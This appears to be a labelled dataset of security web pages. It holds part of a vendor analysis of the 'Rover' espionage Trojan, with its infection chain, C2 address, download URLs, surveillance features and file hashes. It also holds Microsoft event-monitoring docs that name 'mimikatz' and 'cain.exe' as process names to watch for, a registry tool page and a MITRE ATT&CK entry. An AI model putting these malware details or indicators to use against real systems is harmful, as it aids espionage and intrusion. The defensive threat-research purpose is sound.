and content of the email suggest that it was crafted and spoofed to look like it was sent by the current Defence Minister of India, Mr. Manohar Parrikar, commending the Ambassador on his contributions and success. India has been a key nation in building and funding Afghanistan\xe2\x80\x99s infrastructure and economic development, which includes setting up iron ore mines, steel plants, power plants and transportation systems, helping reconstruct the Salma Dam and constructing a new Parliament Complex for the Afghan Government. Given India\xe2\x80\x99s significant contributions to the development of Afghanistan, it is likely that there may be groups or nations who would be interested in tracking and spying on key individuals who officially represent India in Afghanistan. Overview of Rover infection Figure 1 gives an overview of the exploitation, infection and C2 communications of the \xe2\x80\x98Rover\xe2\x80\x99 Trojan campaign targeting a victim running Windows XP. Figure 1: Overview\xc2 of the infection flow and C2 communications Rover Trojan Infection Steps: RTF file exploits CVE-2010-3333 and downloads an executable from newsumbrella[.]net. The executable file downloaded from\xc2 newsumbrella[.]net\xc2 is executed on the victim machine. The executable \xe2\x80\x98file.exe\xe2\x80\x98 is a downloader which is used to call out to a server with the IP \xe2\x80\x9846.166.165.254\xe2\x80\x98 and download the main Rover malware along with plugins used by the Rover malware. Rover malware and plugins are downloaded and installed on the victim machine. Data exfiltrated from the victim machine. Targeting and Infection Figure 2 shows an email which was sent to the Ambassador of India, appearing to commend the contributions the Ambassador has made in the development and success of projects on national interest, and attaching a letter of appreciation with a file name, \xe2\x80\x9cAppreciation_letter.doc\xe2\x80\x9d. The attachment is an RTF file which exploits a specific vulnerability in Microsoft Word, CVE-2010-3333. \xc2 Figure 2: Spear phishing email sent to the Ambassador of Afghanistan If the recipient of the e-mail opened the attachment in a vulnerable version of Word, the exploit code would download and execute a file from the domain newsumbrella[.]net as shown in Figure 3 below. Figure 3: Hexdump showing the domain and the executable downloaded Malware Analysis During the time of analysis the executable file systemupdateAPI.exe was no longer being hosted on the newsumbrealla[.]net domain. However, we have noticed the same domain hosting another executable in the past within the same parent directory and having a similar naming for the folders as shown below newsumbrella[.]net/ne3s/lat3st/w0rld/systemupdateAPI[.]exe newsumbrella[.]net/ne3s/file[.]exe \xe2\x80\x93 hosted earlier We believe that the executables hosted under the parent directory \xe2\x80\x98ne3s\xe2\x80\x99 are variants of the same downloader Trojan, which was used to download the Rover Trojan. The file, file.exe, contains the following debug information that indicates the file was originally named systemupdateAPI.exe. Figure 4: Debug information of downloader program By analyzing file.exe, we can see that it is a downloader, which creates \xe2\x80\x98c:\\system\xe2\x80\x99 directory and depending on the OS version used, downloads the main Rover payload along with multiple DLL modules from 46.166.165.254. Figure 5: Code snippet showing the OS version check and the subsequent download from 46.166.165.254 If the infected system is running an OS version prior to Windows Vista, it would download the following files from 46.166.165.254: WindowsSecurityService2.exe (\xe2\x80\x98Rover\xe2\x80\x99 main module) Openal32.dll Cxcore210.dll (OpenCV) Highgui210.dll (OpenCV) libsndfile-1.dll If the OS version is Windows Vista or later, it would download the following files from 46.166.165.254 : WindowsSecurityService3.exe (\xe2\x80\x98Rover\xe2\x80\x99 main module) OpenAL32.dll opencv_world300.dll msvcp100.dll msvcp110.dll msvcp120.dll msvcr100.dll msvcr110.dll msvcr120.dll After retrieving these files, the downloader Trojan executes the main module. Even though the main modules use different library versions, the functionality of the backdoors are identical. By analyzing the files downloaded to the victim machine, we can see that the executable WindowsSecurityService2.exe imports the four DLL files that were downloaded to the same directory. The four DDLs are cxcore210.dll, highgui210.dll, OpenAL32.dll and libsndfile-1.dll as shown in Figure 6 Figure 6: Executable and DLLs downloaded to the victim machine Attributes of the Rover variant ############################################## File: WindowsSecurityService2.exe ############################################## Meta-data =============================================== Size\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 : 337920 bytes Type\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 : PE32 executable (console) Intel 80386, for MS Windows Architecture\xc2 : 32 Bits binary MD5\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 : 76429f8515768f9f5def697e71071f51 SHA1\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 : d04ce934561934f758d77dfa944bd6743dd82cff SHA256: 7757517ae6b4d513a57826f9ab65bd070d99d25ac526cfae3e9955c3c7cd457assdeep\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 : 6144:JabBRNUKgZ9SN0jzoFBB9hcrpXwg9xXYOGl93XO2rQLfbTpLuO7bIWjRO5gjPNq:JarSKu6yzoF8rpAqXYv3XOgQLfnpLuOu imphash\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 : b5aa366f452feb9f4dff3c72157ca1f9 Date\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 : 0x5637227B [Mon Nov 2 08:44:43 2015 UTC] Language\xc2 \xc2 \xc2 \xc2 \xc2 : ENGLISH CRC:\xc2 \xc2 (Claimed) : 0x59736, (Actual): 0x59736 Entry Point\xc2 \xc2 : 0x43e3c8 .text 0/5 =============================================== Imports =============================================== [1] ADVAPI32.dll [2] WS2_32.dll [3] WLDAP32.dll [4] cxcore210.dll (OpenCV module) [5] highgui210.dll (OpenCV module) [6] OpenAL32.dll [7] libsndfile-1.dll [8] GDI32.dll [9] KERNEL32.dll [10] USER32.dll [11] MSVCP90.dll [12] RPCRT4.dll [13] MSVCR90.dll The author of \xe2\x80\x98Rover\xe2\x80\x99 used the following open source projects to implement the main functionalities of this custom malware. OpenCV \xe2\x80\x93 Taking photos from the web cam OpenAL \xe2\x80\x93 Recording Audio Libsndfile \xe2\x80\x93 C library used for reading and writing audio files LibCurl \xe2\x80\x93 For all network communications OpenCV and OpenAL Both versions of Rover use OpenCV and OpenAL for some of the main functions. OpenCV is a library of functions written primarily for building real time computer vision applications, image processing and also machine learning. It has seen wide acceptance in security systems, medical image analysis, unmanned vehicles, visual surveillance, object tracking, Artificial Intelligence and many other applications. OpenAL is a cross-platform audio API for rendering multichannel three-dimensional positional audio (i.e., It is a means to generate audio in a three-dimensional space.) Earlier versions of OpenAL were opensource but later versions (since v1.1) have been proprietary. Once executed, Rover creates following registry entry to execute itself when the computer reboots. HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\xe2\x80\x9dSystem Application\xe2\x80\x9d = c:\\system\\WindowsSecurityService[2 or 3].exe The malware then creates six threads, each with a different job: Heartbeat Screenshot Stealing Files from HDD Keylogger Search files on USB Backdoor Figure 7: Threads created by the malware 1. Heartbeat: This sends heartbeat signal on HTTP to the C2 server at 46.166.165.254 every five seconds and checks whether the C2 server is running. 2. ScreenShot: This saves screenshots as c:\\system\\screenshot.bmp and sends it to the C2 server at 46.166.165.254 every 60 minutes. Figure 8: Screenshots sent to C2 server at 46.166.165.254 3. Finding specific file types on Removable Drive: This thread searches for for files with the following extensions on removable drives and copies them to \xe2\x80\x98c:\\system\xe2\x80\x99 every 5 seconds. pdf doc docx ppt pptx xls xlsx 4. Keylogger: This logs key strokes at \xe2\x80\x98c:\\system\\log.txt\xe2\x80\x99 and sends captured data to the C2 every 10 seconds 5. Stealing specific file types from Hard Drive: This thread searches for for files with the following extensions on fixed drives and sends them to C2 every 60 minutes. pdf doc docx ppt pptx xls xlsx Figure 9: Document file being sent to C2 6. Backdoor: This thread obtains backdoor commands from C2 every 10 seconds and executes them. Backdoor commands are listed below: Command Description CAMERA Take photos using system webcam and store them as c:\\system\\camera.jpg before sending to the C2. AUDIO Record audio from default audio input as c:\\system\\audio.ogg and sending it to the C2. SCREEN Take a screenshot and save it as c:\\system\\screenshot.bmp then send it to the C2. KILL Remove persistence registry entry and terminate itself. Though \xe2\x80\x98Rover\xe2\x80\x99 is unsophisticated and lacks many modern features common to advanced malware, detection rate of the \xe2\x80\x98Rover\xe2\x80\x99 is extremely low. At the time of this writing, two out of three samples on VirusTotal were not detected by any Antivirus product Figure 10: No detection by any AV product on Virustotal Figure 11: Low detection rate Summary OpenCV has been extensively used by organizations, government bodies, and research groups for real time capture, image manipulation, object detection and many other uses in new forms of Human-Computer interaction, security systems, driver-less cars among many others. OpenCV was also used by the Mars Rovers to send captured data back to Earth. It is interesting to see the very code used in such significant projects also being used to track and spy on individuals being targeted and which can remain undetected by traditional security systems. Though \xe2\x80\x98Rover\xe2\x80\x99 is an unsophisticated malware lacking modern malware features, it seems to be successful in bypassing traditional security systems and fulfilling the objectives of the threat actor behind the campaign in exfiltrating information from the targeted victim. It is important to understand the techniques and tools being used by such threat actors to better defend and protect organizations from such threats. Palo Alto Networks AutoFocus users can identify this threat using the Rover tag. IOCs: C2: 46.166.165.254 Downloader hosting links: newsumbrella[.]net/ne3s/lat3st/w0rld/systemupdateAPI[.]exe newsumbrella[.]net/ne3s/file[.]exe newsumbrella[.]net/bla3k/extra7/systemupdateAPI[.]exe\xc2 Filename File Type SHA 256 Appreciation_letter.doc RTF 6c9862a65741b56b849928300 aff310d60b815ee5f5f9f133469 e3b035e7e936 Questionnaire.doc RTF 5f656cf07a1d5e7c439aad4023 5dc78e47bac719c62e03728cc 40267383880bd Terrorism.doc;India & RTF 6096ff941af95638944f2fcdf4a5 046aa028b803b010b1a2d000 028b1a4967bc Appreciation_ letter.doc RTF 7bf3a425be41ad9cc713e4821 6e061c788f36e2727de5d0b6b 6ac4f435fe1c06 RTF 06b12649dba7f61cb581f97797 bdfba3a7f057a36b448d4c91a3 a7d89fff8d54 WindowsSecurity Service3.exe PE 61a2935fcb0a385f9e67855ef6f 95bda5f09fdb7c1435f215ce18 b7b61993daa file.exe PE a5e5571cda838e97a6beb1a65 acdfbaaf80027f60417aadb0d3 4292f19c0f3b3 WindowsSecurity Service2.exe PE 7757517ae6b4d513a57826f9ab 65bd070d99d25ac526cfae3e99 55c3c7cd457a WindowsSecurity Service3.exe PE 3dc709a3bcaa82220d6a76ea47 374bd864c37817c7041c7e9f4e e8ba42847f34 References https://en.wikipedia.org/wiki/Afghanistan%E2%80%93India_relations http://docs.opencv.org/3.1.0/#gsc.tab=0 http://docs.opencv.org/2.4/modules/highgui/doc/highgui.html https://en.wikipedia.org/wiki/OpenAL http://www.cs.uml.edu/~holly/teaching/91450/spring2013/bschroeder_vision_robotics1.pdf https://ti.arc.nasa.gov/m/pub-archive/422h/0422%20(Pedersen).pdf Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","1","0","0","1","0","0","1","1","1","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"4657(S) A registry value was modified. (Windows 10) | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents 4657(S): A registry value was modified. 04/19/2017 4 minutes to read In this article Applies to Windows 10 Windows Server 2016 Subcategory:\xc2 Audit Registry Event Description: This event generates when a registry key value was modified. It doesn\xe2\x80\x99t generate when a registry key was modified. This event generates only if \xe2\x80\x9cSet Value"" auditing is set in registry key\xe2\x80\x99s SACL. Note\xc2 \xc2 For recommendations, see Security Monitoring Recommendations for this event. Event XML: - - 4657 0 0 12801 0 0x8020000000000000 744725 Security DC01.contoso.local - S-1-5-21-3457937927-2839227994-823803824-1104 dadmin CONTOSO 0x364eb \\\\REGISTRY\\\\MACHINE Name\\_New 0x54 %%1905 %%1873 %%1873 Andrei 0xce4 C:\\\\Windows\\\\regedit.exe Required Server Roles: None. Minimum OS Version: Windows Server 2008, Windows Vista. Event Versions: 0. Field Descriptions: Subject: Security ID [Type = SID]: SID of account that requested the \xe2\x80\x9cmodify registry value\xe2\x80\x9d operation. Event Viewer automatically tries to resolve SIDs and show the account name. If the SID cannot be resolved, you will see the source data in the event. Note\xc2 \xc2 A security identifier (SID) is a unique value of variable length used to identify a trustee (security principal). Each account has a unique SID that is issued by an authority, such as an Active Directory domain controller, and stored in a security database. Each time a user logs on, the system retrieves the SID for that user from the database and places it in the access token for that user. The system uses the SID in the access token to identify the user in all subsequent interactions with Windows security. When a SID has been used as the unique identifier for a user or group, it cannot ever be used again to identify another user or group. For more information about SIDs, see Security identifiers. Account Name [Type = UnicodeString]: the name of the account that requested the \xe2\x80\x9cmodify registry value\xe2\x80\x9d operation. Account Domain [Type = UnicodeString]: subject\xe2\x80\x99s domain or computer name. Formats vary, and include the following: Domain NETBIOS name example: CONTOSO Lowercase full domain name: contoso.local Uppercase full domain name: CONTOSO.LOCAL For some well-known security principals, such as LOCAL SERVICE or ANONYMOUS LOGON, the value of this field is \xe2\x80\x9cNT AUTHORITY\xe2\x80\x9d. For local user accounts, this field will contain the name of the computer or device that this account belongs to, for example: \xe2\x80\x9cWin81\xe2\x80\x9d. Logon ID [Type = HexInt64]: hexadecimal value that can help you correlate this event with recent events that might contain the same Logon ID, for example, \xe2\x80\x9c4624: An account was successfully logged on.\xe2\x80\x9d Object: Object Name [Type = UnicodeString]: full path and name of the registry key which value was modified. The format is: \\REGISTRY\\HIVE\\PATH where: HIVE: HKEY_LOCAL_MACHINE = \\REGISTRY\\MACHINE HKEY_CURRENT_USER = \\REGISTRY\\USER\\[USER_SID], where [USER_SID] is the SID of current user. HKEY_CLASSES_ROOT = \\REGISTRY\\MACHINE\\SOFTWARE\\Classes HKEY_USERS = \\REGISTRY\\USER HKEY_CURRENT_CONFIG = \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Hardware Profiles\\Current PATH \xe2\x80\x93 path to the registry key. Object Value Name [Type = UnicodeString]: the name of modified registry key value. Handle ID [Type = Pointer]: hexadecimal value of a handle to Object Name. This field can help you correlate this event with other events that might contain the same Handle ID, for example, \xe2\x80\x9c4656: A handle to an object was requested.\xe2\x80\x9d This parameter might not be captured in the event, and in that case appears as \xe2\x80\x9c0x0\xe2\x80\x9d. Operation Type [Type = UnicodeString]: the type of performed operation with registry key value. Most common operations are: New registry value created Registry value deleted Existing registry value modified Process Information: Process ID [Type = Pointer]: hexadecimal Process ID of the process through which the registry key value was modified. Process ID (PID) is a number used by the operating system to uniquely identify an active process. To see the PID for a specific process you can, for example, use Task Manager (Details tab, PID column): If you convert the hexadecimal value to decimal, you can compare it to the values in Task Manager. You can also correlate this process ID with a process ID in other events, for example, \xe2\x80\x9c4688: A new process has been created\xe2\x80\x9d Process Information\\New Process ID. Process Name [Type = UnicodeString]: full path and the name of the executable for the process. Change Information: Old Value Type [Type = UnicodeString]: old type of changed registry key value. Registry key value types: Value Type Description REG_SZ String REG_BINARY Binary REG_DWORD DWORD (32-bit) Value REG_QWORD QWORD (64-bit) Value REG_MULTI_SZ Multi-String Value REG_EXPAND_SZ Expandable String Value Old Value [Type = UnicodeString]: old value for changed registry key value. New Value Type [Type = UnicodeString]: new type of changed registry key value. See table above for possible values. New Value [Type = UnicodeString]: new value for changed registry key value. Security Monitoring Recommendations For 4657(S): A registry value was modified. Important\xc2 \xc2 For this event, also see Appendix A: Security monitoring recommendations for many audit events. If you have a pre-defined \xe2\x80\x9cProcess Name\xe2\x80\x9d for the process reported in this event, monitor all events with \xe2\x80\x9cProcess Name\xe2\x80\x9d not equal to your defined value. You can monitor to see if \xe2\x80\x9cProcess Name\xe2\x80\x9d is not in a standard folder (for example, not in System32 or Program Files) or is in a restricted folder (for example, Temporary Internet Files). If you have a pre-defined list of restricted substrings or words in process names (for example, \xe2\x80\x9cmimikatz\xe2\x80\x9d or \xe2\x80\x9ccain.exe\xe2\x80\x9d), check for these substrings in \xe2\x80\x9cProcess Name.\xe2\x80\x9d If Object Name is a sensitive or critical registry key for which you need to monitor any modification of its values, monitor all 4657 events. If Object Name has specific values (Object Value Name) and you need to monitor modifications of these values, monitor for all 4657 events. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"RegDelNull - Windows Sysinternals | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents RegDelNull v1.11 07/04/2016 2 minutes to read In this article By Mark Russinovich Published: July 4, 2016 Download RegDelNull (152 KB) Introduction This command-line utility searches for and allows you to delete Registry keys that contain embedded-null characters and that are otherwise undeleteable using standard Registry-editing tools. Note: deleting Registry keys may cause the applications they are associated with to fail. Using RegDelNull Usage: regdelnull [-s] Parameter Description -s Recurse into subkeys. Here's an example of RegDelNull when used on a system on which the RegHide sample program has created a null-embedded key: C:\\>regdelnull hklm -sRegDelNull v1.10 - Delete Registry keys with embedded Nulls Copyright (C) 2005-2006 Mark Russinovich Sysinternals - www.sysinternals.com Null-embedded key (Nulls are replaced by '*'): HKLM\\SOFTWARE\\Systems Internals\\Can't touch me!* Delete (y/n) y Scan complete. Download RegDelNull (152 KB) Runs on: Client: Windows Vista (32-bit) and higher Server: Windows Server 2008 (32-bit) and higher Nano Server: 2016 and higher Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Defacement - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Defacement Defacement Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Internal An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.[1] Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.[2] External Websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.[3][4][5] Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as Drive-by Compromise.[6] ID:\xc2 T1491 Tactic: Impact Platform:\xc2 Linux, macOS, Windows Data Sources:\xc2 Packet capture, Web application firewall logs, Web logs, Packet capture Impact Type:\xc2 Integrity Version:\xc2 1.0 Mitigations Mitigation Description Data Backup Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Detection Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. References Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016. FireEye. (n.d.). Retrieved April 19, 2019. Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019. Andy. (2018, May 12). \xe2\x80\x98Anonymous\xe2\x80\x99 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019. Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"INDUSTRY INTELLIGENCE REPORT WE HAVE OBSERVED AT LEAST 17 ADVANCED THREAT GROUPS COMPROMISE COMPANIES IN THESE SUBSECTORS: \xe2\x80\xa2 Entertainment & Games Software \xe2\x80\xa2 Diversified Entertainment \xe2\x80\xa2 Information Collection & Delivery \xe2\x80\xa2 Internet Publishing, Broadcasting & Search Portals 